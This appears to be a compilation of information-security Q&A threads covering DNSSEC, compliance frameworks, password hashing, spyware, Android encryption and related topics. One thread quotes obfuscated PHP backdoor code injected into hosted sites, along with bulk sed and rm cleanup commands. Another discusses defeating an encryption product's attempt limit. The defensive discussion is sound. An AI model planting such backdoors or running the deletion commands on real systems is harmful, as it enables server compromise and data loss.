Would DNSSec and DANE be more secure if the same key was published to different TLDs? Assuming that it's tough to get many government owned TLDs to cooperate to spoof DANE or DNSSec, would it be wise to publish the same certificate (different SAN names) to various TLDs?

For example:

Company.com
Company.cn
CompanyAlias.ca
AnotherAlias.co.uk

If the DANE or DNSSec spec was expanded to look for some kind of multinational validation policy then the client could self-query those 4 domains and create a simple distributed version of Convergence.

Would this provide a security benefit?

What am I overlooking?

If your website (for example) is on a TLD you do not trust, then many things can happen (like the registry could change the nameserver of your domain making your website unreachable) even if the underlying TLS certificate would list many SANs (I'm not sure how a CA would validate such a certificate, since it would have to gain proof of ownership for each separate SANs at the almost same time; but maybe you are thinking about the DANE case where you directly publish the certificate without later on needing CA validation).

Also, in all cases, you still depend from the DNS root key and management/governance, so if you do not trust DNSSEC, you have this point that is impossible to remove.


Compliance with an industry recognized framework - ISO27k I've been asked to figure out how to get our company to comply with an "Industry Recognized [Security] Framework" where '“Industry Recognized Framework” means a global industry recognized information security management system (“ISMS”), such as ISMS standard ISO/IEC 27001:2005 – Information technology – Security techniques – Information security management systems – Requirements, as published by the International Organization for Standardization and the International Electrotechnical Commission (“ISO 27001”) and the Control Objectives for Information and related Technology best practices framework established by the Information Systems and Control Association and the IT Governance Institute (“COBIT”).'

I'm unsure where to turn with this. Is this something others would recommend I engage a larger security firm to help with? Or are there particular qualifications I should look for in a consultant or contractor to help?

I'm out of my league with this, so any advice would be appreciated. Thanks.

Because this is a client requirement and not an internal motivation to naturally "grow into" a security program, this is not a trivial task because you have time constraints (One would assume).

Assuming, then, that you need 3rd party verification of your alignment to a framework, you are going to need to find a qualified, certified person in the framework you hope to align with. ISO2700 has certified consultancies that help organizations do exactly this. COBIT also has a certification that individuals can get to prove that they know how to audit an organization against COBIT.

Seek a firm that will help you through it and ask for their certifications and experience.


What is the value of encrypting a payload when it will be transferred over sftp anyway? We have a integration arrangement to send content across the internet and the agreed protocol encrypts then sends it via sftp.

What possible reason coould there be to encrypt the content twice?

I can't see any good reason for it.

  The algorithm for encryption is AES
  with CBC mode for enhanced security

  The Hashing algorithms as defined by
  NZSIT 402:2008 should be using SHA
  256; therefore the algorithm used to
  derive the key is PBKDF1 (defined in
  PKCS#5 v2.0 and documented in RRC
  2898) with SHA256 as generator other
  than PBKDF2 which is based on SHA1
  generator; it is also recommended to
  use 128 bit encryption strength unless
  higher security is required.

Bastion ssh/sftp servers are used on one at least one side of the communication, but they seem to be 'close' to the final endpoint system and no-one talks about the risk of intermediary servers being compromised.

There is no point if your threat model is only looking at interception or modification in transit.

However files that are being sent via SFTP often sit on a staging server at both receipt and storage. If you are worried about unauthorised access at these points then it is worth encrypting the file as well as the transport encryption.

In addition if you have a threat and requirement for non repudiation and/or want a method of verifying the file has not been modified (e.g. by an administrator once received) or sent by the authorised party (defence in depth to authentication and authorisation of the SFTP connection e.g. where one set of SFTP credentials are provided to a company but the file should only be sent by the finance department). In all these cases having a cryptographically signed file e.g. pgp signature that can be verified is a useful security control


Is mega.co.nz using my Browser for cracking passwords? recently i found on my Firefox Profil, under .../storage/.../idb/ a File named "https+++mega.co.nz", i looked inside those files, some are encrypted (couldnt read it in Notepad++), but i found 27 Files with no Type, all this Files are 1024 kb, and the Content of those files look like this:

monoethanolamine
monoethy
monoethylamine
monofa`sica
monofa`sico
...

My first thought is, that this are possible Passwords, used for e. g. password dictionary attacks. So my question, can a website use my browser/computer (CPU, GPU, RAM ...) to crack passwords (i think of using JavaScript)?
If its not possible, why are those files stored on my computer?

Yes, it is possible. But, based on my testing, it's not likely.

What are these files?

During my tests, I was able to locate binary files in my Firefox profile directory at this path:

<PROFILE DIRECTORY>/storage/temporary/https+++mega.nz/asmjs/

This suggests that the files contained therein are temporary files for asm.js. Information about these files is sparse, but this tweet from a self-reported Unity employee provides some substantiation (because Unity worked with Mozilla on game development with asm.js).

On my system, these names of these files followed the template module<NUMBER>. While investigating the contents of these files, I was unable to find any likely passwords, even after registering for an account inside the add-on.

Where did these strings come from?

The strings you pulled from those files are certainly suspicious. I have been unable to recover anything similar on my own system, but there is another explanation.

The add-on includes Dropbox's zxcvbn library for calculating password strength. It is possible that asm.js attempted to optimize that code, resulting in password-like information being stored to your hard drive.

Using only words found in zxcvbn's dictionary, I was able to reconstruct some of the potential passwords you listed:

monoethanolamine: mono + ethanol + a + mine
monoethylamine: mono + ethyl + a + mine

The other passwords were likely generated using other rules (such as character substitution).

What can we conclude?

The files you found are most likely temporary files generated by Firefox. Specifically, when asm.js tries to optimize the zxcvbn code, it likely generates the temporary file containing some of the strings you found.

However, it could also be the case that the extension is using the zxcbvn wordlist to perform bruteforce attacks. A more extensive review of the code is needed to determine if that is the case.


Are there any exploitable protocol flaws in WPA Enterprise? I just watched this video https://www.offensive-security.com/penetration-testing/hacking-wpa-enterprise-with-kali-linux/ and the authors readily admit that the title is click-bait but I am still wondering what is going on.

Shouldn't there be a certificate warning on the phone? (Edit: This may indeed not have anything to do with the protocol and be just a client issue. There could however have been some other problem that allows them to fake a valid certificate.)

Why is the password so easily retrieved from the challenge response
messages? (Has that been fixed in WPA2?)

Shouldn't there be a certificate warning on the phone?

There should be a warning but this depends on the client side implementation.

For example in europe there is a academia wide wireless network called eduroam which is available at almost every university. Eduroam is utilizing WPA2 Enterprise and email + password as credentials.
Some month ago the local universitys IT department announced that eduroam should not be used from smartphones because some of them don't do the certificate validation properly/at all which makes them vulnerable to attacks like the one you referenced.


Why isn't it more popular to increase the p (parallelization) parameter of scrypt? First of all, the understanding I have of the p parameter in scrypt is that it multiplies the amount of work to do, but in such a way that the additional workloads are independent from each other, and can be run in parallel. With the interpretation of p cleared out of the way, why is the recommended value still 1? More generally, why is it a good thing that key stretching algorithms are not parallelizable?
From the point of view of an attacker trying to crack a password, it doesn't matter whether an algorithm is parallelizable. After all, even if the entire algorithm is sequential, the attacker can just crack several different passwords in parallel.
I understand that scrypt being memory-hard makes it difficult to utilize GPUs for cracking. GPUs have a much greater combined computational power accross its many weak cores than CPUs, but the memory bus is about the same speed, so it levels the ground for authentic users on a CPU and attackers on a GPU.
However, subdividing an scrypt workload that accesses 256MB of RAM into 4 different parallel scrypt workloads, accessing 64MB each, would still consume the same amount of memory bandwidth for an attacker, therefore running at the same throughput, while running 4 times faster on a quad+ core CPU for an authentic user.
Is there any fundamental flaw in my logic? Why is the recommended value for p still p = 1? Is there any downside I can't see to increasing p?

There are two reasons I can think of:
First, because it weakens the main use case. An explicit design goal of scrypt is to make parallelization hardware expensive - and by "hardware" here, we do not mean merely GPU, but also FPGAs and, ultimately, custom ASICs. Building fast-access RAM close to the processor cores necessary to do the calculation is what drives the cost up.
If the workload can be subdivided, it's more likely that it can be parallelized by an attacker, which reduces the cost of the hardware necessary to attack scrypt at scale.
For more background on this, see Percival's slides from his talk announcing scrypt, in which the hardware cost trade-off is explicitly discussed.
Second (and this is just speculation), it's not yet widely needed - perhaps because most installations are either not yet using scrypt at the scale that would require more parallelization for performance reasons, or else they're big enough (like Facebook) to afford the extra hardware necessary to manage any potential authentication "storms" (many people trying to authenticate at once).
More generally, I would dispute your claim that resistance to parallelization doesn't matter from the perspective of an attacker. As an attacker, I can tell you that such resistance is significantly frustrating - because it requires more resources to perform the same attack, making me have to be much more choosy about which attacks I run, and wait longer for the results.
In fact, one of the other goals of reducing parallelization is to make it harder to crack passwords in the aggregate - attacking an entire leak with thousands or even millions of passwords. The algorithms to optimize such attacks are dramatically hampered by parallelization resistance. Attacking a million MD5 is a cakewalk; attacking a million scrypt is a slog. Only attacks like correlation (matching reused passwords from the same user from another already-cracked leak) can make a dent in large sets of such hashes with anything approaching efficiency.
Which was Percival's goal. :)


Defense-In-Depth With Common Security Controls Many operating systems implement system capabilities, Posix access controls (DAC/ACLs) and mandatory access controls (SELinux), each using different underlying security controls to provide individual layers of security, thereby implementing the principle of defense-in-depth.

What if system capabilities, DAC and MAC were implemented using a common underlying security mechanism, would defense-in-depth still be achieved even though all three security controls have at least one common attack surface?

would defense-in-depth still be achieved even though all three security controls have at least one common attack surface?

No, you can see it very well with anti-virus software for instance: they look like defense in depth as they put protection systems at several layers (network firewall, browser plugin, process monitoring, file analyzing, etc.), however an attacker just has to defeat a single thing, the anti-virus software itself, to make the whole protection system to collapse.

As you correctly notice, the Linux kernel does not implement its authorization checks in a monolithic way, instead it uses a modular way where security modules (called LSM, see here and there for more information) can come from different providers and complete each other (hence the in-kernel DAC system can be completed with capabilities and a MAC system both coming as modules).

This offer several advantages, both in terms of freedom which is at the core of the GNU/Linux philosophy and security:

More freedom because a security module being not tightly integrated to the kernel, this allows a user (or more likely a distribution maintainer) to select the LSM better matching their needs (which, at the end, brings more security to the end-user). For instance some prefer AppArmor's security model, some prefer SELinux's one, etc.: the choice is not enforced by the Linux kernel development team. This is explicitly stated in the Wikipedia page previously linked:

  Linus Torvalds rejected SELinux at that time, because he observed that there are many different security projects in development, and since they all differ, the security community has not yet formed consensus on the ultimate security model. Instead, Linus charged the security community to "make it a module".

Security because of two reasons, which both end-up as being benefits from code isolation:

A correction made on one security feature should not cause any issue on another one. An update on SELinux for instance should not affect DAC or capabilities authorization systems as each one uses distinct code and data structures. This would not be the case if all this would be implemented as a single, monolithic piece of software.
A vulnerability affecting one security feature should not endanger the other ones. In case of vulnerability affecting SELinux for instance, such vulnerability will not void DAC and capabilities security systems as in the anti-virus example shown above where a vulnerability in the anti-virus software will most likely cancel all its security benefits.

Defense in depth should not be conceived as having simply several layers of security controls, instead it should merely be seen as having several layers of security systems. It is in fact the isolation between each systems which will bring you a good guaranty that it will take time for an attacker to defeat your security infrastructure.


Is it possible to locate Tor/proxy users? Spam is getting on my nerves I'm managing a huge forum (over 15k posts and 500 users) and lately some guy uses a VPN (probably) to spam my forums with topics such as:
"LOLOLOLOLOLOLOLOL"
Now, I'm pretty sure he's using Tor or a proxy, the IP and the countries are always changing but the posts have the same pattern - it is the same guy. However, I can't seem to find a way to identify him. I am willing to take it seriously as a criminal case.
The guy created over 40 spam accounts and posted over 250 topics and posts with spam.
Here are some posts from whois:
 - http://puu.sh/2cZRJ - data
 - http://puu.sh/2cZS4 - whois
 ___
 - http://puu.sh/2cZOZ - data
 - http://puu.sh/2cZP8 - whois
 ___
 - http://puu.sh/2cZPZ - data
 - http://puu.sh/2cZQb - whois
 ___
 - http://puu.sh/2cZQX - data
 - http://puu.sh/2cZQr - whois
 ___
 - http://puu.sh/2cZSm - data
 - http://puu.sh/2cZSF - whois
 ___
 - http://puu.sh/2cZTh - data
 - http://puu.sh/2cZT2 - whois
 ___
 - http://puu.sh/2cZTK - data
 - http://puu.sh/2cZTY - whois

And loads more, but the list won't end.
How can I identify the user?

Your forum accepts posts from anybody. That is your core problem. Connecting to your site from various IP throughout the world is trivial, if only by using Tor. Tor provides "high anonymity" in that not only the user's identity is hidden, but each request is anonymous -- you cannot, from the outside, make sure whether two distinct requests are from the same human user or not.

This can be fixed at two levels:

Restricted anonymity: enforce user registration and authentication. Users may use a pseudonym, and need not provide an email address or any other identification, but your forum will insist on a login process before posting. That way, you can know whether two comments come from the same person. Note that this does not totally solve the issue; instead, that moves it to the registration process. The poor sob who has nothing better to do with his time than defacing your forum will adapt and engage into mass registration of phony accounts.
No anonymity (with regards to you): user registration, this time with an email address, which is verified during registration (you make sure that the registrant can read an email sent at the address he provided). The possibility to be identified, if only by law enforcement agencies, could be a powerful deterrent for wannabe spammers (even if the said spam is not necessarily punished by Law: to my constant dismay, there is no law against writing "LOLOLOLOL").

If you choose to retain anonymous posting, then, well, welcome to the wonderful world of Mankind. While most humans are civilized, honest and polite, there is always one user who thinks exposing his lack of education is a smart thing to do. The best you could do, then, is to patiently clean up (possibly proactively, by enforcing pre-publication control of all posts by trusted moderators) until the perpetrator loses interest or reaches the age of 14, whichever comes first. This may take a few weeks or months.

Historically, most societies have dealt with troublemakers by a mixture of ostracism and actual penalties (up to and including death). The apparent anonymity of Internet prevents efficient penalties (with a lot of resources, this anonymity can usually be unraveled, but police forces will not do that until an actual crime is committed). Ostracism is social pressure, so it does not work on people who do not feel the target forum as being a "society" they are part of.


Could SSL-like encryption be used for not password-protected wireless access points? I'm looking at ways an outsider (i.e. someone without a possible password) of the network could sniff the communication within the network, specifically focusing on WLAN.

This is what I understand about wireless network security:

When we connect to an open wireless access point (so, with WEP) it is possible to sniff the communication (but we can't decrypt SSL-encrypted connections).
To make it impossible for outsiders to sniff network, we could use WPA(2) or the like, but in any case this will require to password-protect the network.

This is what I understand about SSL:

When we use for example HTTPS (so HTTP with SSL), it isn't possible for attackers to see the data that is being communicated over the connection (unless a malicious certificate has been trusted).
When we connect to a server using HTTPS, we do not need to enter a passphrase.

Say I'd like to create an open Wi-Fi hotspot that encrypts the data in such a way that no one can sniff the communication of other users of the hotspot. This is, as far as I know, not possible (is that correct?). But then, why isn't it possible to encrypt the communication with the wireless access point using a technique like SSL? SSL doesn't require a passphrase, but guarantees nobody can sniff the line. Is there something essential about SSL that makes it impossible to use it for such an application?

Basically, the key pair of the server works as a kind of passphrase for the HTTPS connection.
The public key is added to the certificate, which is then signed by a certificate authority trusted by the client.

HTTPS requires the website to get a certificate, as you mentioned.
This certificate is must be trusted by the client, otherwise the client will deny the connection.

To get a certificate from a certificate authority that is trusted by the clients, the domain owners must prove they are the actual owners of the domain for which they are getting the certificate.
So the certificate is only valid for that domain.

In order for the clients of the open network to connect to websites through HTTPS, they will need to trust your system to be that website. In fact they will need to trust you for being any website whatsoever. Actually, you would be a man-in-the-middle, and could read and change anything that goes through that line, the clients couldn't know about it. The level of trust given by the clients would be too high.


What could be the reason for weird amount of signups from mail.ru domain? I run a cyber security firm called Bluflame Security. On our subdomain lab.bluflamesecurity.com we have an email sign up box for people to sign up for our newsletter. All it is, is a simple php script that gets the user input and then sends me or my other business partner an email with the persons email.

Although recently it looks like we are getting targeted.

I have been getting almost 4 user signups per day from random emails with Russian names from the email provider mail.ru and only from there. It is very strange.

I understand that it is probably a bot, but why would a bot be putting the email in there and nothing else? Instead of sending spam, it seems to be providing us with a very large collection of mail.ru email addresses.

What would be the reason for this besides spamming me with email applications? I am considering running some recon on some of the addresses to figure out who they are.

mail.ru probably has an easy sign-up option which means that hacking networks can sign up thousands of accounts per day. This offsets any attempt to get the accounts banned or blacklisted.

The reason is likely to be attempts to find entry to legitimate security sites so that they can piggy back to more interesting targets.

Since it is really unlikely that you will have a legitimate customer using mail.ru, I'd probably just block access to that domain.

It seems there has recently been some very large increases in this kind of activity along with targeted attacks and Wordpress attacks, possibly some new networks appearing.

The signup form on the labs page doesn't seem to do anything but if you are seeing some activity on it, it will be because you haven't added any bot protection to it maybe.

Ah, just found the second form for a subscription. This also appears to have no protection on it. I entered a random and fairly obviously incorrect email address - even with an invalid top-level domain - and it accepted it.

As an aside, that page fails accessibility standards really badly (the colours on the subscribe form are almost unusable to me let alone to anyone partially sigted or with colour-blindness) so you might want to think about that as in many countries, you will get into trouble if someone chooses to follow up on it.


How can I know that the printer linked to email How can I make sure that the printer does not send copies of the scanned paper to another email? because that my printer take long time in scanning and printing.

can somebody hacking the printers or scanners in my network so that he can take all scanned papers to his email?

can somebody hacking the printers or scanners in my network so that he can take all scanned papers to his email?

The modern multi-functional devices which can print, scan and email documents are often not designed with security in mind. This means they can be easily hacked which was shown several times. This includes unauthorized access to the configuration or unauthorized replacement of the firmware just be sending a special print job.

  I make sure that the printer does not send copies of the scanned paper to another email?

A firewall around the networked printer might ensure that the typical protocols for sending email are not reachable by the printer or that only a specific mail server is reachable which accepts only selected target mail addresses. This makes information leakage not impossible but harder.


Suggestions for secure fax SaaS Does anyone have experience with any fax cloud services, which they can recommend from a security standpoint?

Our realtor used Transaction Desk when dealing with our documents, and had us do the same. She would give us a paper with a barcode on it and we dialed the 800# to send our fax to, and made sure that page was the first page in the fax. There's always risk when dealing with cloud based services for obvious reasons, the most obvious reason is that there is a third party actually storing the data. I would recommend TD though or use it myself if I needed secure fax services.


How can someone go off-web, and anonymise themselves after a life online? With data mining tools like Maltego and other correlation tools for large data sets, if we conduct any transactions online assume that these can all be collated to build a good picture of what we do, buy, read etc (hence Google etc).

If a normal person, with a large online history decides to go off-web, is there an effective way to do this?

  This question was featured as an Information Security Question of the Week.
  Read the Jan 27, 2014 blog entry for more details or submit your own Question of the Week.

The problem is heuristics. All mentioned tools are built on heuristics and the only way to avoid them is to change how you live completely. You can be fingerprinted by the modules installed in your browser. By the programs you use and the frequency you use them.

These days you're going further than just online behavior. Shops know what you buy in what amounts, because nobody buys all the same brands you are getting fingerprinted constantly. This is used for targeted advertising, but it can also theoretically be used to track you.

MIT's Reality Mining project proved the same using smartphones. You prefer certain apps, you use your phone at certain intervals, you move around certain places. This all contributes to a somewhat unique pattern (back when I did some research on it during my internship we were getting 91% certainty in simulations, even when people changed their SIM card every few days we were still able to track them  based on the SSIDs they encountered, places they went, apps they installed and used, when they checked their phones, Bluetooth devices they connect to, cell towers they passed at a certain moment in time and what smileys they use in text messages).

Avoiding heuristics means changing everything you do completely. Stop using the same apps, accounts, go live somewhere else and do not buy the same food from the same brands. The problem here is that this might also pop up as a special pattern because it is so atypical.

Changing your identity is the first step. The second one is not being discovered. As Thomas said the internet doesn't forget. This means that photos of you will remain online, messages you posted, maybe even IDs you shared will remain on the net. So even when changing your behavior it only will need one picture which might expose you.


Find php file with certain word in it and disable php I have multiple VPS with at least thousands of accounts in them.

My clients' websites are hacked and sending spam emails. I checked the log and found out two types of scritps

type1:

<?php
$d79="HYI\riP=s5`bX'a43Z #fn%dTy9c|JWjMV<z0Q]6&kD}UECrue~mq8->N2hpx_!Bo*g\nK\$O1{7G[^.L+Rw\\;?FA)lt\tS@,/\":(v"; $GLOBALS['ujijy64'] = $d79[4].$d7

type2:

<?php
function wtakziboyl($gaezs, $fp){$vdxhvfmnol = ''; for($i=0; $i < strlen($gaezs); $i++){$vdxhvfmnol .= isset($fp[$gaezs[$i]]) ? $fp[$gaezs[$i]] : $gaezs[$i];}
$otcow="base64_decode";return $otcow($vdxhvfmnol);}
$sfnb = '4fwFMBxy214Q5XBm8exm1XHK2m83NZsBdZpzvpzUMRsz1jCwgJArtfxr1X'.
'Bm8exm8m83NSUzvpzUMRsz1jCwgJArtRhY1XBY2RCIgfwKtwxkMRIw5mpAbJ'.
'aiJa0y21cqgfwE2Bx3MRIzgJApOd3OJeweOfwy8XBkOJcqnkBPBaBPOPaOopQ55hxdcB'.

After further investigating I found out injected scripts at the top of Genuine files like below

$sF="PCT4BA6ODSE_";$s21=strtolower($sF[4].$sF[5].$sF[9].$sF[10].$sF[6].$sF[3].$sF[11].$sF[8].$sF[10].$sF[1].$sF[7].$sF[8].$sF[10]);$s20=strtoupper($sF[11].$sF[0].$sF[7].$sF[9].$sF[2]);if (isset(${$s20}['n828e00'])) {eval($s21(${$s20}['n828e00']));}?>

This above code I suspect as backdoor. I want to remove all those scripts or atleast stop them from executing it. May be I can use modsec rules.

By surfing internet I found out we can run below code to remove such injection

grep -Rl PCT4BA6ODSE . | xargs sed -i 's/<[?]php.*PCT4BA6ODSE_.*[?]>/<\?php \/\/ RECOVERED FILE \?>/g'

Manually finding such files in server where thousands of account are hosted is something like impossible. So i want it to do automatically (in this case)

I know there are many other backdoors but for this scenario what you people suggest?

This may not be the good idea and it may affect server performance, I would love to hear any alternative ideas.

Answering your question (but not solving your problem):

Run this every hour or so:

grep -l PCT4BA6ODSE_ * | xargs rm

This will delete every php file with that string on it. But that string is only the symptom, not the problem. The problem is that you have a security compromise, and no matter how you clean your system, it will be reinfected.

To really solve your problem, you must audit all the components of the system. The easiest way is to reinstall everything from scratch, update every component, harden its settings, search every php file for backdoors, then put the system online again.


How often should I check for unknown open ports I wan to run a cron job on each of my hosts that sends a list of all open ports to a central db on which I will run auditing and forensic queries.

My question is how often should this job run so I could consider this coverage reliable. Obviously running it to often could potentially acquire too much resources from the host.

I hope my question makes sense. If it doesn't then what's the alternative.

This will depend solely on your threat model.

In some environments, weekly may be fine, especially combined with something like Tripwire alerting.

For other, more dynamic or higher risk environments, you may wish to look at running it every half hour, or even more frequently, such as Mehmet's comment about running every 2 seconds (although in my opinion the network load at that frequency would be much more trouble than it is worth unless you have a very small network!)


What to do when I found a spyware that my spouse has installed? Today I was trying to uninstall some application and I was very surprised to see this entry in my applications list

Then I try to find what is this and I finally found it in "Program Files". After I opened the application and explored it a little bit I found this window

The email address you see is my spouse's email address. What I see from this is that my spouse has installed this application to spy on my computer and then send reports to her email.

What I should do with my computer?

Update: Thank you for all the answers. I feeled that Rob Church's answer fitted y situation the best way. I will post further updates in the comment section later.

Normally, I'd just parrot the "nuke it from orbit and start from the beginning" line. However, information security is also about understanding your adversary, the practical risk, and the assets you're trying to protect.

In this case, I think situation is a bit different; your spouse clearly just Googled for "free key logger" and downloaded the first one or two results. You're not dealing with some skilled attacker trying to hide rootkits or compromise your BIOS.

I've just looked into this Spyrix application and it seems that if it's not password-protected, you can simply click "Stop" (which, according to the screenshot, you've already done) and then uninstall it normally. You don't need to remove your operating system or flash your BIOS or anything of that sort. You don't even need any special "removal tools" in this case.

Having that said, if you still feel you're not satisfied with the integrity of your system (I generally wouldn't), then just remove it and install it again.

Side note: I really don't think your problem is technical. Go talk to your spouse as there are deeper reasons behind this. Almost everything can be fixed with an honest and calm conversation.


Is the HTTP TRACE method a security vulnerability? I saw many posts here on this site dishing out advice on disabling HTTP TRACE method to prevent cross site tracing. I sought to do the same thing. But when I read the Apache documentation, it gives the opposite advice:

  Note

  Despite claims to the contrary, TRACE is not a security vulnerability
  and there is no viable reason for it to be disabled. Doing so
  necessarily makes your server non-compliant.

Which should I follow?

One of the wisest security principles says that what is unused should be disabled.

So the first questions is: Are you really going to use it? Do you need it to be enabled?

If you are not going to use TRACE method then in my opinion it should be switched off. It will prevent your app not only against XST, but also against undiscovered vulnerabilities related to this channel, which can be found in the future.


How to reduce the risk of sudo vim -Z (sudo rvim) (I asked the same question on https://superuser.com/ One person recommended me to use this website instead of super user. I hope this question is quite apporopriate here and I can get more detailed information.)

I learned about the way to prevent risks caused by these configurations:

user_name ALL=(ALL) /usr/bin/vim /etc/httpd/confs/httpd.conf

or

%group_name ALL=(ALL) /usr/bin/vim /etc/httpd/confs/httpd.conf

If I write these scripts in /etc/sudoers, serious damage to the server can happen. I have obtained one opinion which recommended I use vim -Z.

I googled vim -Z and found some facts.
It is similar to (the same as?) rvim.
However, vim -Z still allows us to use some commands.
In order to prevent normal users from executing commands, we have to add several scripts in .vimrc.

To be honest, I do not understand fully what commands we cannot use in restricted mode. I found this website, but this only mentions vim although its title is rvim...
http://linux.about.com/library/cmd/blcmdl1_rvim.htm

Could you tell me what settings are necessay to enable normal users to use sudo vim -Z (or sudo rvim) securely.

Instead of running the vim in privileged mode and then mitigating vulnerabilities arised from it, what about just using correct file permissions? If plain UNIX permissions are not enough, you might want to use ACL.

Since users can do arbitrary file modifications in vim and they will not have to use sudo, I don't see any important security or comfort advantage of using sudo. (Except that users can be forced to re-enter the password.) On the other hand, permissions are just simple, user can choose its own editor with any settings (just for comfort, not for security) and it is clear there are not general pitfalls with permission escalations. (It, however, depends on files allowed ti edit.)


Is the data of an encrypted Android device more vulnerable if it's running a custom ROM? Is an Android device that is

rooted
has the bootloader unlocked
is running some mainstream custom ROM
has encryption enabled, with a strong password

more vulnerable (As in easier to break into, to have its data decrypted by a criminal or law enforcement) than the same device running stock Android (Also encrypted with a strong password)?

If that custom ROM is using hardware-backed keystore (Trusted Execution Environment (TEE)) for screen lock authentication and file based encryption (FBE), there's no known way to decrypt /data partition without screen lock code as TEE is tamper-resistant by design.
In FBE, encryption keys are cryptographically bound to screen lock code and TEE. This ensures that just by knowing screen lock code is not enough to decrypt cloned data. TEE refuses to use its own key for key derivation to decrypt data encryption keys unless user authentication is successful. Tampering with TEE image will hard-brick the device even if bootloader is unlocked.
A threat actor will require you to forcefully unlock the device atleast once. The problem with unlocked bootloader is that they can patch boot image (boot.img, contains kernel) without letting you know of the compromise in order to trick you to unlock it and record your screen lock code.
What you need is custom root of trust which is only supported in Pixel and OnePlus. With custom AVB, you can sign your own images for integrity protection and relock the bootloader. This is as secure as running stock android. However, some apps that rely on SafetyNet attestation to verify device integrity will refuse to run because boot state is SelfSigned.
Even if you are using custom AVB, you need to check if custom ROM is enforcing encryption. Some custom ROMs disable forceencrypt flag in fstab, which disables encryption from first boot of the OS. Your data remains in plain text. At this point, just by deleting lock settings files, a thief can remove screen lock authentication.
You should also check if your custom ROM is enforcing SELinux, otherwise any app can make system calls that otherwise wouldn't have been allowed in SELinux enforcing. Having root in your custom ROM is not really a problem any more than an unlocked bootloader.
Android architecture has a design flaw which is applicable to stock android also. When a user unlocks screen first time since reboot, unlike iOS, android keeps some of the critical keys in memory even after the user relocks the screen. iOS evicts them 10 seconds after the screen is locked. This opens a security hole because as long as some of the data encryption keys are in memory, they can be extracted by law enforcement and can be used to decrypt some of the data in /data partition. This requires carefully exposing SoC without disconnecting battery.
Stock android and custom root of trust might be able to stop thieves from owning the device (or data), but when it comes to law enforcement, it depends on their motivation until Google considers eviction of critical data encryption keys from memory when the screen is locked again.


Is cascading cryptographic algorithm better than using a single one? Am I wrong to think that scrypt(bcrypt(password)) would be better than using sole (s|b)crypt? Especially when considering two different key for the two algorithms.

I am also interested in some papers.

scrypt(bcrypt(password)) will be less secure when considering the attack model scrypt is geared against - namely requiring as expensive hardware as possible for brute force attacks.

However, if you believe that the scrypt construction or the primitives used in scrypt (SHA256, Salsa20) are prone to failure, using bcrypt as well brings in another cryptographic primitive (blowfish). However, it might just as well be that there is absolutely no benefit.

In general, I would strongly advise against combining methods like this without actually understanding the ramifications and proving that some meaningful benefit is gained.

Edit: Oh, in case you didn't know, scrypt uses PBKDF2 both before and after its own method, which is probably the most widely used method for strong password hashing - certainly much more used than bcrypt.

Edit: Probably the closest cryptographic papers on the issue are those evaluating the combination of SHA1 and MD5 in the TLS PRF construction, such as: Hash Function Combiners in TLS and SSL.


How practicable is application whitelisting I understand that application whitelisting is better and more accurate than black listing. However, my question is, if you whitelist a directory, won't the malware also be able execute in that directory? So what use is application whitelisting in this respect?

If you whitelist a directory, then sure, any malware in that directory can run.

That's why you don't whitelist directories.  Instead, you whitelist programs, and you take precautions to ensure those progrms aren't modified.  For example, instead of whitelisting "c:\Program Files\Internet Explorer", you whitelist "c:\Program Files\Internet Explorer\iexplore.exe with SHA-256 checksum c09bc04058f1e2d4eae481490b998381486311e02ff782e99383c16d77c1b3bc".


Brute forcing encryption password (self destruct after 4 attempts) My colleague at work lost the password to his external hard drive (HDD not SSD), a WD Elements. He remembers that his password was simple and 8 characters maximum.

The problem is the encryption software he used will self destruct after 5 password attempts, we are down to 4 attempts.

Product:

  Lumension Endpoint Security 4.6

Is there an exploit or some way of disabling this countdown? Otherwise, I assume there is a way of copying the encryption header from the program into John The Ripper, or something? I am no expert.

Worst case scenario if I make a forensic image using EnCase will I at least be covered in the event that I make any terrible mistakes?

Any other side channel attacks are welcome.

Have you tried any of the options that Lumension offers?

  Secure recovery of passwords, data and forensics

  Challenge/response over the phone with the help desk for recovery of
  forgotten passwords
  Local self-help to recover forgotten passwords during pre-boot without
  calling the help desk or the need for an Internet connection

From their brochure on the Disk Encryption feature for Endpoint Security

As there are no currently listed exploits to be found, your only options are:

Try the Above
Image and restore on the threshold over and over again

  Worst case scenario if I make a forensic image using EnCase will I at least be covered in the event that I make any terrible mistakes?

Best way to find out is to try:

Make the image, load it into the application, try a login attempt, try a login attempt on the other disk and see if the application has a way to identify the disk and link the counters and if you can use them safely apart from each other.

Find a 0-Day

You could also reverse engineer (debug) the application and see if there is a counter somewhere you can control/reset. Of course this would take some time, knowledge and would have to be tested extensively before trying on your actual target.

Honestly, if I were in the situation you say you are, I would just contact their Helpdesk and find out a way to get around this. It's version 4.6, they released 8 now. I say odds are in your favor.


Can I use transport mode in IPsec if I tunnel via UDP? Can I use tranport mode (instead of tunnel mode) in IPsec if I tunnel a VPN via UDP?  I don't see why the header (that sets the protocol and port) needs to be encrypted in my case (I suspect it would be dropped if the firewall cannot see it as UDP and an OK port).  The security policy would apply to the other/peer host doing things the same way, of course.

Clarification: my packets need to go out as UDP so bare IPsec is not an option for me.  Maybe I should do RFC3948 UDP Encapsulation of IPsec ESP Packets without AH or IKE for my needs. I am using PSK.  Is this NAT Traversal I am ending up with?

In light of your edit:

An IPSec system supporting RFC3948 will do what you want, yes, assuming you do not need AH and that you're using either IKE or IKEv2.

However, the whole system has been designed for NAT traversal so I'm not certain it exactly fits your requirement (you didn't specify WHY you need to limit yourself to UDP or why you want to use IPsec).


Browser Extension to show how your session is being shared A while back I came across a browser extension (was available for Firefox and Chrome, maybe others) that showed you through a graphical 'node' interface how your browser session was shared with so many other servers and web services.

Unfortuneatly I have forgotten its names, and because I don't know what the correct technical terminology is, I can't find it through searching Google.

If you know of that extension, can you please share. It was very useful, because it showed which websites were particularly bad, they shared the session with like 20 or so other websites. I remember Fb and Amazon were shocking!

Thanks

This extension is called Collusion.  It shows the cookie tracker networks.  I use it in talks to demonstrate how quickly your privacy is lost when browsing less than 5 websites.


Well what exactly is the difference between a virus and just plain old malware? Like is malware just a computer virus or is it something completely different? I am just curious, I did watch a video on it and it did not really give me my answer that i wished for.

Malware is a portmanteau for "malicious software". With that in mind:

  A computer virus is a type of malicious software that, when executed, replicates itself by modifying other computer programs and inserting its own code.

From Wikipedia / Computer Virus.

Does that answer your question?


Can I trust a session Id for uniqueness? I have an old ASP classic web app that generates an Id for a user when they log in. The Id is put into an authentication cookie in plain text and also stored in the database.

Inside of this website, I'm creating a new website. Since it will have the same web domain, it has access to the cookie. My plan is to look up the cookie and use the Id to look up the logged in user in the database - as the classic ASP site is doing.

